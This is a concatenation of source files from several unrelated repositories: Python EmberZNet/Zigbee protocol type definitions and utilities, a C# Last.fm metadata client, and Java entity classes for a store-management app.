c.Int8ul,
EMBER_MAC_PASSTHROUGH_NONE=0x00,
EMBER_MAC_PASSTHROUGH_SE_INTERPAN=0x01,
EMBER_MAC_PASSTHROUGH_EMBERNET=0x02,
EMBER_MAC_PASSTHROUGH_EMBERNET_SOURCE=0x04,
EMBER_MAC_PASSTHROUGH_APPLICATION=0x08,
EMBER_MAC_PASSTHROUGH_CUSTOM=0x10
)
EmberBindingType = c.Enum(
c.Int8ul,
EMBER_UNUSED_BINDING=0,
EMBER_UNICAST_BINDING=1,
EMBER_MANY_TO_ONE_BINDING=2,
EMBER_MULTICAST_BINDING=3
)
EmberApsOption = c.FlagsEnum(
c.Int16ul,
EMBER_APS_OPTION_ENCRYPT_WITH_TRANSIENT_KEY=0x0001,
EMBER_APS_OPTION_USE_ALIAS_SEQUENCE_NUMBER=0x0002,
EMBER_APS_OPTION_DSA_SIGN=0x0010,
EMBER_APS_OPTION_ENCRYPTION=0x0020,
EMBER_APS_OPTION_RETRY=0x0040,
EMBER_APS_OPTION_ENABLE_ROUTE_DISCOVERY=0x0100,
EMBER_APS_OPTION_FORCE_ROUTE_DISCOVERY=0x0200,
EMBER_APS_OPTION_SOURCE_EUI64=0x0400,
EMBER_APS_OPTION_DESTINATION_EUI64=0x0800,
EMBER_APS_OPTION_ENABLE_ADDRESS_DISCOVERY=0x1000,
EMBER_APS_OPTION_POLL_RESPONSE=0x2000,
EMBER_APS_OPTION_ZDO_RESPONSE_REQUIRED=0x4000,
EMBER_APS_OPTION_FRAGMENT=0x8000
)
EzspNetworkScanType = c.Enum(
c.Int8ul,
EZSP_ENERGY_SCAN=0x00,
EZSP_ACTIVE_SCAN=0x01,
EZSP_START_RADIO_OFF_SCAN=0x02,
EZSP_STACK_GP_CHANNEL_DELIVERY_SCAN=0x03
)
EmberJoinDecision = c.Enum(
c.Int8ul,
EMBER_USE_PRECONFIGURED_KEY=0x00,
EMBER_SEND_KEY_IN_THE_CLEAR=0x01,
EMBER_DENY_JOIN=0x02,
EMBER_NO_ACTION=0x03
)
EmberInitialSecurityBitmask = c.FlagsEnum(
c.Int16ul,
EMBER_STANDARD_SECURITY_MODE=0x0000,
EMBER_DISTRIBUTED_TRUST_CENTER_MODE=0x0002,
EMBER_TRUST_CENTER_GLOBAL_LINK_KEY=0x0004,
EMBER_PRECONFIGURED_NETWORK_KEY_MODE=0x0008,
EMBER_HAVE_TRUST_CENTER_UNKNOWN_KEY_TOKEN=0x0010,
EMBER_HAVE_TRUST_CENTER_LINK_KEY_TOKEN=0x0020,
EMBER_HAVE_TRUST_CENTER_EUI64=0x0040,
EMBER_TRUST_CENTER_USES_HASHED_LINK_KEY=0x0080,
EMBER_HAVE_PRECONFIGURED_KEY=0x0100,
EMBER_HAVE_NETWORK_KEY=0x0200,
EMBER_GET_LINK_KEY_WHEN_JOINING=0x0400,
EMBER_REQUIRE_ENCRYPTED_KEY=0x0800,
EMBER_NO_FRAME_COUNTER_RESET=0x1000,
EMBER_GET_PRECONFIGURED_KEY_FROM_INSTALL_CODE=0x2000,
EM_SAVED_IN_TOKEN=0x4000
)
EmberCurrentSecurityBitmask = c.FlagsEnum(
c.Int16ul,
EMBER_STANDARD_SECURITY_MODE_=0x0000,
EMBER_DISTRIBUTED_TRUST_CENTER_MODE_=0x0002,
EMBER_TRUST_CENTER_GLOBAL_LINK_KEY_=0x0004,
EMBER_HAVE_TRUST_CENTER_LINK_KEY=0x0010,
EMBER_TRUST_CENTER_USES_HASHED_LINK_KEY_=0x0080
)
EmberKeyType = c.Enum(
c.Int8ul,
EMBER_TRUST_CENTER_LINK_KEY=0x01,
EMBER_CURRENT_NETWORK_KEY=0x03,
EMBER_NEXT_NETWORK_KEY=0x04,
EMBER_APPLICATION_LINK_KEY=0x05
)
EmberKeyStructBitmask = c.FlagsEnum(
c.Int16ul,
EMBER_KEY_HAS_SEQUENCE_NUMBER=0x0001,
EMBER_KEY_HAS_OUTGOING_FRAME_COUNTER=0x0002,
EMBER_KEY_HAS_INCOMING_FRAME_COUNTER=0x0004,
EMBER_KEY_HAS_PARTNER_EUI64=0x0008,
EMBER_KEY_IS_AUTHORIZED=0x0010,
EMBER_KEY_PARTNER_IS_SLEEPY=0x0020
)
EmberDeviceUpdate = c.Enum(
c.Int8ul,
EMBER_STANDARD_SECURITY_SECURED_REJOIN=0,
EMBER_STANDARD_SECURITY_UNSECURED_JOIN=1,
EMBER_DEVICE_LEFT=2,
EMBER_STANDARD_SECURITY_UNSECURED_REJOIN=3
)
EmberKeyStatus = c.Enum(
c.Int8ul,
EMBER_KEY_STATUS_NONE=0x00,
EMBER_APP_LINK_KEY_ESTABLISHED=0x01,
EMBER_TRUST_CENTER_LINK_KEY_ESTABLISHED=0x03,
EMBER_KEY_ESTABLISHMENT_TIMEOUT=0x04,
EMBER_KEY_TABLE_FULL=0x05,
EMBER_TC_RESPONDED_TO_KEY_REQUEST=0x06,
EMBER_TC_APP_KEY_SENT_TO_REQUESTER=0x07,
EMBER_TC_RESPONSE_TO_KEY_REQUEST_FAILED=0x08,
EMBER_TC_REQUEST_KEY_TYPE_NOT_SUPPORTED=0x09,
EMBER_TC_NO_LINK_KEY_FOR_REQUESTER=0x0A,
EMBER_TC_REQUESTER_EUI64_UNKNOWN=0x0B,
EMBER_TC_RECEIVED_FIRST_APP_KEY_REQUEST=0x0C,
EMBER_TC_TIMEOUT_WAITING_FOR_SECOND_APP_KEY_REQUEST=0x0D,
EMBER_TC_NON_MATCHING_APP_KEY_REQUEST_RECEIVED=0x0E,
EMBER_TC_FAILED_TO_SEND_APP_KEYS=0x0F,
EMBER_TC_FAILED_TO_STORE_APP_KEY_REQUEST=0x10,
EMBER_TC_REJECTED_APP_KEY_REQUEST=0x11,
EMBER_TC_FAILED_TO_GENERATE_NEW_KEY=0x12,
EMBER_TC_FAILED_TO_SEND_TC_KEY=0x13,
EMBER_TRUST_CENTER_IS_PRE_R21=0x1E,
EMBER_TC_REQUESTER_VERIFY_KEY_TIMEOUT=0x32,
EMBER_TC_REQUESTER_VERIFY_KEY_FAILURE=0x33,
EMBER_TC_REQUESTER_VERIFY_KEY_SUCCESS=0x34,
EMBER_VERIFY_LINK_KEY_FAILURE=0x64,
EMBER_VERIFY_LINK_KEY_SUCCESS=0x65
)
EmberCounterType = c.Enum(
c.Int8ul,
EMBER_COUNTER_MAC_RX_BROADCAST=0,
EMBER_COUNTER_MAC_TX_BROADCAST=1,
EMBER_COUNTER_MAC_RX_UNICAST=2,
EMBER_COUNTER_MAC_TX_UNICAST_SUCCESS=3,
EMBER_COUNTER_MAC_TX_UNICAST_RETRY=4,
EMBER_COUNTER_MAC_TX_UNICAST_FAILED=5,
EMBER_COUNTER_APS_DATA_RX_BROADCAST=6,
EMBER_COUNTER_APS_DATA_TX_BROADCAST=7,
EMBER_COUNTER_APS_DATA_RX_UNICAST=8,
EMBER_COUNTER_APS_DATA_TX_UNICAST_SUCCESS=9,
EMBER_COUNTER_APS_DATA_TX_UNICAST_RETRY=10,
EMBER_COUNTER_APS_DATA_TX_UNICAST_FAILED=11,
EMBER_COUNTER_ROUTE_DISCOVERY_INITIATED=12,
EMBER_COUNTER_NEIGHBOR_ADDED=13,
EMBER_COUNTER_NEIGHBOR_REMOVED=14,
EMBER_COUNTER_NEIGHBOR_STALE=15,
EMBER_COUNTER_JOIN_INDICATION=16,
EMBER_COUNTER_CHILD_REMOVED=17,
EMBER_COUNTER_ASH_OVERFLOW_ERROR=18,
EMBER_COUNTER_ASH_FRAMING_ERROR=19,
EMBER_COUNTER_ASH_OVERRUN_ERROR=20,
EMBER_COUNTER_NWK_FRAME_COUNTER_FAILURE=21,
EMBER_COUNTER_APS_FRAME_COUNTER_FAILURE=22,
EMBER_COUNTER_ASH_XOFF=23,
EMBER_COUNTER_APS_LINK_KEY_NOT_AUTHORIZED=24,
EMBER_COUNTER_NWK_DECRYPTION_FAILURE=25,
EMBER_COUNTER_APS_DECRYPTION_FAILURE=26,
EMBER_COUNTER_ALLOCATE_PACKET_BUFFER_FAILURE=27,
EMBER_COUNTER_RELAYED_UNICAST=28,
EMBER_COUNTER_PHY_TO_MAC_QUEUE_LIMIT_REACHED=29,
EMBER_COUNTER_PACKET_VALIDATE_LIBRARY_DROPPED_COUNT=30,
EMBER_COUNTER_TYPE_NWK_RETRY_OVERFLOW=31,
EMBER_COUNTER_PHY_CCA_FAIL_COUNT=32,
EMBER_COUNTER_BROADCAST_TABLE_FULL=33,
EMBER_COUNTER_PTA_LO_PRI_REQUESTED=34,
EMBER_COUNTER_PTA_HI_PRI_REQUESTED=35,
EMBER_COUNTER_PTA_LO_PRI_DENIED=36,
EMBER_COUNTER_PTA_HI_PRI_DENIED=37,
EMBER_COUNTER_PTA_LO_PRI_TX_ABORTED=38,
EMBER_COUNTER_PTA_HI_PRI_TX_ABORTED=39,
EMBER_COUNTER_TYPE_COUNT=40
)
EmberJoinMethod = c.Enum(
c.Int8ul,
EMBER_USE_MAC_ASSOCIATION=0x00,
EMBER_USE_NWK_REJOIN=0x01,
EMBER_USE_NWK_REJOIN_HAVE_NWK_KEY=0x02,
EMBER_USE_NWK_COMMISSIONING=0x03
)
EmberZdoConfigurationFlags = c.FlagsEnum(
c.Int8ul,
EMBER_APP_RECEIVES_SUPPORTED_ZDO_REQUESTS=0x01,
EMBER_APP_HANDLES_UNSUPPORTED_ZDO_REQUESTS=0x02,
EMBER_APP_HANDLES_ZDO_ENDPOINT_REQUESTS=0x04,
EMBER_APP_HANDLES_ZDO_BINDING_REQUESTS=0x08
)
EmberConcentratorType = c.Enum(
c.Int16ul,
EMBER_LOW_RAM_CONCENTRATOR=0xFFF8,
EMBER_HIGH_RAM_CONCENTRATOR=0xFFF9
)
EmberZllState = c.FlagsEnum(
c.Int16ul,
EMBER_ZLL_STATE_NONE=0x0000,
EMBER_ZLL_STATE_FACTORY_NEW=0x0001,
EMBER_ZLL_STATE_ADDRESS_ASSIGNMENT_CAPABLE=0x0002,
EMBER_ZLL_STATE_LINK_INITIATOR=0x0010,
EMBER_ZLL_STATE_LINK_PRIORITY_REQUEST=0x0020,
EMBER_ZLL_STATE_NON_ZLL_NETWORK=0x0100
)
EmberZllKeyIndex = c.Enum(
c.Int8ul,
EMBER_ZLL_KEY_INDEX_DEVELOPMENT=0x00,
EMBER_ZLL_KEY_INDEX_MASTER=0x04,
EMBER_ZLL_KEY_INDEX_CERTIFICATION=0x0F
)
EzspZllNetworkOperation = c.Enum(
c.Int8ul,
EZSP_ZLL_FORM_NETWORK=0x01,
EZSP_ZLL_JOIN_TARGET=0x02
)
EzspSourceRouteOverheadInformation = c.Enum(
c.Int8ul,
EZSP_SOURCE_ROUTE_OVERHEAD_UNKNOWN=0xFF
)
EmberNetworkInitBitmask = c.Enum(
c.Int16ul,
EMBER_NETWORK_INIT_NO_OPTIONS=0x0000,
EMBER_NETWORK_INIT_PARENT_INFO_IN_TOKEN=0x0001,
EMBER_NETWORK_INIT_END_DEVICE_REJOIN_ON_REBOOT=0x0002
)
EmberNetworkInitStruct = EmberNetworkInitBitmask
EmberMultiPhyNwkConfig = c.Enum(
c.Int8ul,
EMBER_BROADCAST_SUPPORT=0x01
)
EmberDutyCycleState = c.Enum(
c.Int8ul,
EMBER_DUTY_CYCLE_TRACKING_OFF=0x00,
EMBER_DUTY_CYCLE_LBT_NORMAL=0x01,
EMBER_DUTY_CYCLE_LBT_LIMITED_THRESHOLD_REACHED=0x02,
EMBER_DUTY_CYCLE_LBT_CRITICAL_THRESHOLD_REACHED=0x03,
EMBER_DUTY_CYCLE_LBT_SUSPEND_LIMIT_REACHED=0x04
)
EmberRadioPowerMode = c.Enum(
c.Int8ul,
EMBER_RADIO_POWER_MODE_RX_ON=0x00,
EMBER_RADIO_POWER_MODE_OFF=0x01
)
EmberGpSinkType = c.Enum(
c.Int8ul,
EMBER_GP_SINK_TYPE_FULL_UNICAST=0x00,
EMBER_GP_SINK_TYPE_D_GROUPCAST=0x01,
EMBER_GP_SINK_TYPE_GROUPCAST=0x02,
EMBER_GP_SINK_TYPE_LW_UNICAST=0x03,
EMBER_GP_SINK_TYPE_UNUSED=0xFF
)
EmberNetworkParameters = c.Struct(
"extendedPanId" / EmberExtendedPanId,
"panId" / EmberPanId,
"radioTxPower" / c.Int8sl,
"radioChannel" / c.Int8ul,
"joinMethod" / EmberJoinMethod,
"nwkManagerId" / EmberNodeId,
"nwkUpdateId" / c.Int8ul,
"channels" / c.Int32ul
)
EmberMultiPhyRadioParameters = c.Struct(
"radioTxPower" / c.Int8sl,
"radioPage" / c.Int8ul,
"radioChannel" / c.Int8ul
)
EmberZigbeeNetwork = c.Struct(
"channel" / c.Int8ul,
"panId" / EmberPanId,
"extendedPanId" / EmberExtendedPanId,
"allowingJoin" / EzspBool,
"stackProfile" / c.Int8ul,
"nwkUpdateId" / c.Int8ul
)
EmberApsFrame = c.Struct(
"profileId" / c.Int16ul,
"clusterId" / c.Int16ul,
"sourceEndpoint" / c.Int8ul,
"destinationEndpoint" / c.Int8ul,
"options" / EmberApsOption,
"groupId" / c.Int16ul,
"sequence" / c.Int8ul,
# "radius" / c.Int8ul
)
EmberBindingTableEntry = c.Struct(
"type" / EmberBindingType,
"local" / c.Int8ul,
"clusterId" / c.Int16ul,
"remote" / c.Int8ul,
"identifier" / EmberEUI64,
"networkIndex" / c.Int8ul,
)
EmberMulticastTableEntry = c.Struct(
"multicastId" / EmberMulticastId,
"endpoint" / c.Int8ul,
"networkIndex" / c.Int8ul
)
EmberKeyData = c.Bytes(16)
EmberCertificateData = c.Bytes(48)
EmberPublicKeyData = c.Bytes(22)
EmberPrivateKeyData = c.Bytes(21)
EmberSmacData = c.Bytes(16)
EmberSignatureData = c.Bytes(42)
EmberCertificate283k1Data = c.Bytes(74)
EmberPublicKey283k1Data = c.Bytes(37)
EmberPrivateKey283k1Data = c.Bytes(36)
EmberSignature283k1Data = c.Bytes(72)
EmberMessageDigest = c.Bytes(16)
EmberAesMmoHashContext = c.Struct(
"result" / c.Bytes(16),
"length" / c.Int32ul
)
EmberNeighborTableEntry = c.Struct(
"shortId" / c.Int16ul,
"averageLqi" / c.Int8ul,
"inCost" / c.Int8ul,
"outCost" / c.Int8ul,
"age" / c.Int8ul,
"longId" / EmberEUI64
)
EmberRouteTableEntry = c.Struct(
"destination" / c.Int16ul,
"nextHop" / c.Int16ul,
"status" / c.Int8ul,
"age" / c.Int8ul,
"concentratorType" / c.Int8ul,
"routeRecordState" / c.Int8ul
)
EmberInitialSecurityState = c.Struct(
"bitmask" / EmberInitialSecurityBitmask,
"preconfiguredKey" / EmberKeyData,
"networkKey" / EmberKeyData,
"networkKeySequenceNumber" / EmberKeyData,
"preconfiguredTrustCenterEui64" / c.Int8ul,
)
EmberCurrentSecurityState = c.Struct(
"bitmask" / EmberCurrentSecurityBitmask,
"trustCenterLongAddress" / EmberEUI64
)
EmberKeyStruct = c.Struct(
"bitmask" / EmberKeyStructBitmask,
"type" / EmberKeyType,
"key" / EmberKeyData,
"outgoingFrameCounter" / c.Int32ul,
"incomingFrameCounter" / c.Int32ul,
"sequenceNumber" / c.Int8ul,
"partnerEUI64" / EmberEUI64
)
EmberZllSecurityAlgorithmData = c.Struct(
"transactionId" / c.Int32ul,
"responseId" / c.Int32ul,
"bitmask" / c.Int16ul,
)
EmberZllNetwork = c.Struct(
"zigbeeNetwork" / EmberZigbeeNetwork,
"securityAlgorithm" / EmberZllSecurityAlgorithmData,
"eui64" / EmberEUI64,
"nodeId" / EmberNodeId,
"state" / EmberZllState,
"nodeType" / EmberNodeType,
"numberSubDevices" / c.Int8ul,
"totalGroupIdentifiers" / c.Int8ul,
"rssiCorrection" / c.Int8ul
)
EmberZllInitialSecurityState = c.Struct(
"bitmask" / c.Int32ul,
"keyIndex" / EmberZllKeyIndex,
"encryptionKey" / EmberKeyData,
"preconfiguredKey" / EmberKeyData
)
EmberZllDeviceInfoRecord = c.Struct(
"ieeeAddress" / EmberEUI64,
"endpointId" / c.Int8ul,
"profileId" / c.Int16ul,
"deviceId" / c.Int16ul,
"version" / c.Int8ul,
"groupIdCount" / c.Int8ul
)
EmberZllAddressAssignment = c.Struct(
"nodeId" / EmberNodeId,
"freeNodeIdMin" / EmberNodeId,
"freeNodeIdMax" / EmberNodeId,
"groupIdMin" / EmberMulticastId,
"groupIdMax" / EmberMulticastId,
"freeGroupIdMin" / EmberMulticastId,
"freeGroupIdMax" / EmberMulticastId
)
EmberTokTypeStackZllData = c.Struct(
"bitmask" / c.Int32ul,
"freeNodeIdMin" / c.Int16ul,
"freeNodeIdMax" / c.Int16ul,
"myGroupIdMin" / c.Int16ul,
"freeGroupIdMin" / c.Int16ul,
"freeGroupIdMax" / c.Int16ul,
"rssiCorrection" / c.Int8ul
)
EmberTokTypeStackZllSecurity = c.Struct(
"bitmask" / c.Int32ul,
"keyIndex" / c.Int8ul,
"encryptionKey" / EmberKeyData,
"preconfiguredKey" / EmberKeyData
)
EmberDutyCycleLimits = c.Struct(
"limitThresh" / EmberDutyCycleHectoPct,
"critThresh" / EmberDutyCycleHectoPct,
"suspLimit" / EmberDutyCycleHectoPct
)
EmberPerDeviceDutyCycle = c.Struct(
"nodeId" / EmberNodeId,
"dutyCycleConsumed" / EmberDutyCycleHectoPct
)
EmberTransientKeyData = c.Struct(
"eui64" / EmberEUI64,
"keyData" / EmberKeyData,
"incomingFrameCounter" / c.Int32ul,
"countdownTimerMs" / c.Int32ul
)
EmberChildData = c.Struct(
"eui64" / EmberEUI64,
"type" / EmberNodeType,
"id" / EmberNodeId,
"phy" / c.Int8ul,
"power" / c.Int8ul,
"timeout" / c.Int8ul
)
EmberGpAddress = c.Struct(
"id" / EmberEUI64,
"applicationId" / EmberGpApplicationId,
"endpoint" / c.Int8ul
)
EmberGpSinkAddress = c.Struct(
"sinkEUI" / EmberEUI64,
"sinkNodeId" / EmberNodeId
)
EmberGpSinkListEntry = c.Struct(
"type" / EmberGpSinkType,
"target" / EmberGpSinkAddress
)
EmberGpProxyTableEntry = c.Struct(
"status" / EmberGpProxyTableEntryStatus,
"options" / c.Int32ul,
"gpd" / EmberGpAddress,
"assignedAlias" / EmberNodeId,
"securityOptions" / c.Int8ul,
"gpdSecurityFrameCounter" / EmberGpSecurityFrameCounter,
"gpdKey" / EmberKeyData,
"sinkList" / EmberGpSinkListEntry,
"groupcastRadius" / c.Int8ul,
"searchCounter" / c.Int8ul
)
<file_sep>/src/cinder/ember_utils.py
"""
This module contains utility functions for the ember module
"""
import logging
import asyncio
from functools import wraps
import ezsp_types as e
LOGGER = logging.getLogger('ember')
class TooManyTriesException(Exception):
"""Raised the command has failed too many times"""
class UnexpectedStatusException(Exception):
"""Raised when the command has ended with an incorrect status"""
def check_status(expected=None, *args):
"""Returns a decorator to checks the command's status"""
statuses = args
if not statuses:
statuses = [e.EmberStatus.EMBER_SUCCESS,
e.EzspStatus.EZSP_SUCCESS]
def deco_check(cmd):
@wraps(cmd)
async def checked_cmd(*args, **kwargs):
answer = await cmd(*args, **kwargs)
if not answer:
LOGGER.error(f"Expected an answer but got {answer}")
raise UnexpectedStatusException
is_ok = False
for status in statuses:
is_ok |= answer['status'] == status
if not is_ok:
LOGGER.error(f"{cmd} has failed: {answer['status']}")
raise UnexpectedStatusException(answer['status'])
return answer
return checked_cmd
return deco_check
def retry(exception_to_check, tries=3, delay=1, backoff=2, logger=None):
"""Retry calling the decorated function using an exponential backoff
Strongly inspired by:
http://www.saltycrane.com/blog/2009/11/trying-out-retry-decorator-python/
"""
def deco_retry(cmd):
async def cmd_retry(*args, **kwargs):
_delay = delay
for attempt in range(tries):
try:
return await cmd(*args, **kwargs)
except exception_to_check as e:
if logger:
msg = f'{str(e)}, retrying in {_delay} seconds....'
logger.warning(msg)
asyncio.sleep(_delay)
_delay *= backoff
logger.error(f"{cmd.__name__} has failed to many times")
raise TooManyTriesException
return cmd_retry
return deco_retry
def pretty_command(name, *args):
msg = f'{name}('
for arg in args:
if isinstance(arg, int):
msg += f'0x{arg:X}, '
elif isinstance(arg, list) or isinstance(arg, tuple):
for element in arg:
msg += f'{element}, '
elif isinstance(arg, dict):
for element in print_dic(arg):
msg += f'{element}, '
else:
msg += f'{arg}, '
if not args:
return msg + ')'
else:
return msg[:-2] + ')'
def print_dic(dic):
"""Format dictionnary for a bit better visibility"""
for key, value in dic.items():
yield f'{key} == {value}'
<file_sep>/setup.py
from setuptools import setup, find_packages
import sys
import os
here = os.path.abspath(os.path.dirname(__file__))
README = open(os.path.join(here, 'README.rst')).read()
NEWS = open(os.path.join(here, 'NEWS.txt')).read()
version = '0.01a'
install_requires = [
pyserial-asyncio,
PyCRC,
construct
]
setup(
name='cinder',
version=version,
description="",
long_description=README + '\n\n' + NEWS,
classifiers=[
# Get strings from
# http://pypi.python.org/pypi?%3Aaction=list_classifiers
],
keywords='emberznet ncp iot zigbee',
author='<NAME>.',
author_email='<EMAIL>',
url='',
license='',
packages=find_packages('src'),
package_dir={'': 'src'},
include_package_data=True,
zip_safe=False,
install_requires=install_requires,
entry_points={
'console_scripts':
['emberznetpy=emberznetpy:main']
}
)
| 5eed967e628f3f639436fe0a82e39ae5e16c4159 | [
"Python",
"INI"
] | 13 | INI | VetsE/cinder | a7d71a361874c9670476b3448a604042d7d577a3 | 281a933acf69e34d458c2c95d2d6f05957161414 |
refs/heads/master | <file_sep>using EspionSpotify.Models;
using System;
using System.IO;
using System.Net;
using System.Threading.Tasks;
using System.Xml;
using System.Xml.Serialization;
using TagLib;
namespace EspionSpotify.MediaTags
{
public class LastFMAPI: ILastFMAPI
{
private const string _apiDomain = "http://ws.audioscrobbler.com/2.0/?method=track.getInfo";
private readonly string[] _apiKey;
private readonly Random _random;
public LastFMTrack TrackInfo { get; set; }
private string ApiUrl(string apiKey, string artist, string title) => $"{_apiDomain }&api_key={apiKey}&artist={artist}&track={title}";
public LastFMAPI()
{
_random = new Random();
_apiKey = new[] { "<KEY>", "01a049d30c4e17c1586707acf5d0fb17", "82eb5ead8c6ece5c162b461615495b18" };
}
public LastFMTrack GetTagInfo(Track track)
{
if (!track.IsNormal()) return null;
TrackInfo = new LastFMTrack();
var api = new XmlDocument();
var artist = PCLWebUtility.WebUtility.UrlEncode(track.Artist);
var title = PCLWebUtility.WebUtility.UrlEncode(track.Title);
var apiKey = _apiKey[_random.Next(3)];
try
{
api.Load(ApiUrl(apiKey, artist, title));
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
return null;
}
var apiReturn = api.DocumentElement;
if (apiReturn == null)
{
return null;
}
var serializer = new XmlSerializer(typeof(LastFMTrack));
var node = apiReturn.SelectSingleNode("/lfm/track");
TrackInfo = serializer.Deserialize(new XmlNodeReader(node)) as LastFMTrack;
return TrackInfo;
}
}
}
| 2ee76ce4fdc0435ff23b15584ddd0872595d9b1c | [
"C#"
] | 1 | C# | s3er/spy-spotify | 18ac1673c61e39a6221a7e070aeb1a396d482055 | 830466bff452ac9da7d98dcd97a590f4c60b36ef |
refs/heads/master | <repo_name>haithemhamzaoui/Magasin<file_sep>/src/com/magasin/utils/TailleNumber.java
package com.magasin.utils;
public enum TailleNumber {
}
<file_sep>/src/com/magasin/entity/Magasin.java
package com.magasin.entity;
import java.awt.List;
import java.util.ArrayList;
public class Magasin {
private int idMagasin;
private String nomM;
private String adresse;
private int capaciteVetement;
private int capaciteAlimentation;
private int capaciteElectronique;
private ArrayList<Article>listArticle;
private ArrayList<Vente>listVente;
public Magasin(int idMagasin, String nomM, String adresse, int capaciteVetement, int capaciteAlimentation,
int capaciteElectronique) {
this.idMagasin = idMagasin;
this.nomM = nomM;
this.adresse = adresse;
this.capaciteVetement = capaciteVetement;
this.capaciteAlimentation = capaciteAlimentation;
this.capaciteElectronique = capaciteElectronique;
listArticle=new ArrayList<Article>();
}
public String getNomM() {
return nomM;
}
public void setNomM(String nomM) {
this.nomM = nomM;
}
public String getAdresse() {
return adresse;
}
public void setAdresse(String adresse) {
adresse = adresse;
}
public int getCapaciteVetement() {
return capaciteVetement;
}
public void setCapaciteVetement(int capaciteVetement) {
this.capaciteVetement = capaciteVetement;
}
public int getCapaciteAlimentation() {
return capaciteAlimentation;
}
public void setCapaciteAlimentation(int capaciteAlimentation) {
this.capaciteAlimentation = capaciteAlimentation;
}
public int getCapaciteElectronique() {
return capaciteElectronique;
}
public void setCapaciteElectronique(int capaciteElectronique) {
this.capaciteElectronique = capaciteElectronique;
}
public int getIdMagasin() {
return idMagasin;
}
public void setIdMagasin(int idMagasin) {
this.idMagasin = idMagasin;
}
}
<file_sep>/src/com/magasin/entity/Pantallon.java
package com.magasin.entity;
import java.awt.Color;
import com.magasin.utils.TailleNumber;
import com.magasin.utils.Unite;
public class Pantallon extends Vetement {
private String tissu;
private String fit;
private TailleNumber taille;
public Pantallon(int codeB, String nomA, String descriptionA, double prixU, Unite unite, Color couleur, String genre,
String marque, String tissu, String fit, TailleNumber taille) {
super(codeB, nomA, descriptionA, prixU, unite, couleur, genre, marque);
this.tissu = tissu;
this.fit = fit;
this.taille = taille;
}
public String getTissu() {
return tissu;
}
public void setTissu(String tissu) {
this.tissu = tissu;
}
public String getFit() {
return fit;
}
public void setFit(String fit) {
fit = fit;
}
public TailleNumber getTaille() {
return taille;
}
public void setTaille(TailleNumber taille) {
this.taille = taille;
}
}
<file_sep>/src/com/magasin/utils/TypeL.java
package com.magasin.utils;
public enum TypeL {
}
<file_sep>/src/com/magasin/entity/Commande.java
package com.magasin.entity;
import java.sql.Date;
import java.util.ArrayList;
import com.magasin.utils.Adress;
import com.magasin.utils.TypePayement;
public class Commande {
protected int idV;
protected Date dateVente;
protected TypePayement typePay;
protected String adress;
ArrayList<Article> listArticle = new ArrayList();
public Commande(int idV, Date dateVente, TypePayement typePay, String adress, ArrayList<Article> listArticle) {
super();
this.idV = idV;
this.dateVente = dateVente;
this.typePay = typePay;
this.adress = adress;
this.listArticle = listArticle;
}
public Commande() {
super();
}
public int getIdV() {
return idV;
}
public void setIdV(int idV) {
this.idV = idV;
}
public Date getDateVente() {
return dateVente;
}
public void setDateVente(Date dateVente) {
this.dateVente = dateVente;
}
public TypePayement getTypePay() {
return typePay;
}
public void setTypePay(TypePayement typePay) {
this.typePay = typePay;
}
public String getAdress() {
return adress;
}
public void setAdress(String adress) {
this.adress = adress;
}
public ArrayList<Article> getListArticle() {
return listArticle;
}
public void setListArticle(ArrayList<Article> listArticle) {
this.listArticle = listArticle;
}
public class Facture
{
private double Qte ;
private String nomProduit;
private double prixUnitaire;
private double total;
public Facture(double qte, String nomProduit, double prixUnitaire, double total) {
super();
Qte = qte;
this.nomProduit = nomProduit;
this.prixUnitaire = prixUnitaire;
this.total = total;
}
public double getQte() {
return Qte;
}
public void setQte(double qte) {
Qte = qte;
}
public double getPrixUnitaire() {
return prixUnitaire;
}
public void setPrixUnitaire(double prixUnitaire) {
this.prixUnitaire = prixUnitaire;
}
public double getTotal() {
return total;
}
public void setTotal(double total) {
this.total = total;
}
public String getNomProduit() {
return nomProduit;
}
}
public class Livraison
{
private Adress adress ;
private ArrayList<Article> articles = new ArrayList<>();
public Livraison(Adress adress, ArrayList<Article> articles) {
super();
this.adress = adress;
this.articles = articles;
}
public Livraison() {
super();
}
public Adress getAdress() {
return adress;
}
public void setAdress(Adress adress) {
this.adress = adress;
}
public ArrayList<Article> getArticles() {
return articles;
}
public void setArticles(ArrayList<Article> articles) {
this.articles = articles;
}
}
}
<file_sep>/src/com/magasin/iservice/IServiceTelevison.java
package com.magasin.iservice;
public interface IServiceTelevison {
}
<file_sep>/src/com/magasin/entity/Vetement.java
package com.magasin.entity;
import java.awt.Color;
import com.magasin.utils.Unite;
public class Vetement extends Article {
private Color couleur;
private String genre;
private String marque;
public Vetement(int codeB, String nomA, String descriptionA, double prixU, Unite unite, Color couleur, String genre,
String marque) {
super(codeB, nomA, descriptionA, prixU, unite);
this.couleur = couleur;
this.genre = genre;
this.marque = marque;
}
protected Color getCouleur() {
return couleur;
}
protected void setCouleur(Color couleur) {
this.couleur = couleur;
}
protected String getGenre() {
return genre;
}
protected void setGenre(String genre) {
this.genre = genre;
}
protected String getMarque() {
return marque;
}
protected void setMarque(String marque) {
this.marque = marque;
}
}
<file_sep>/src/com/magasin/entity/Article.java
package com.magasin.entity;
import com.magasin.utils.Unite;
public class Article {
private int codeB;
private String nomA;
private String descriptionA;
private double prixU;
private Unite unite;
private int idMagasin;
public Article(int codeB, String nomA, String descriptionA, double prixU, Unite unite) {
this.codeB = codeB;
this.nomA = nomA;
this.descriptionA = descriptionA;
this.prixU = prixU;
this.unite = unite;
}
public Article(int codeB, String nomA, String descriptionA, double prixU, Unite unite, int idMagasin) {
this.codeB = codeB;
this.nomA = nomA;
this.descriptionA = descriptionA;
this.prixU = prixU;
this.unite = unite;
this.idMagasin = idMagasin;
}
public int getCodeB() {
return codeB;
}
public void setCodeB(int codeB) {
codeB = codeB;
}
public String getNomA() {
return nomA;
}
public void setNomA(String nomA) {
this.nomA = nomA;
}
public String getDescriptionA() {
return descriptionA;
}
public void setDescriptionA(String descriptionA) {
this.descriptionA = descriptionA;
}
public double getPrixU() {
return prixU;
}
public void setPrixU(double prixU) {
this.prixU = prixU;
}
public Unite getUnite() {
return unite;
}
public void setUnite(Unite unite) {
this.unite = unite;
}
}
<file_sep>/src/com/magasin/iservice/IServiceMagasin.java
package com.magasin.iservice;
public interface IServiceMagasin {
}
<file_sep>/src/com/magasin/entity/Fruit.java
package com.magasin.entity;
import java.util.Date;
import com.magasin.utils.Unite;
public class Fruit extends Alimentation {
private String saison;
public String getSaison() {
return saison;
}
public void setSaison(String saison) {
this.saison = saison;
}
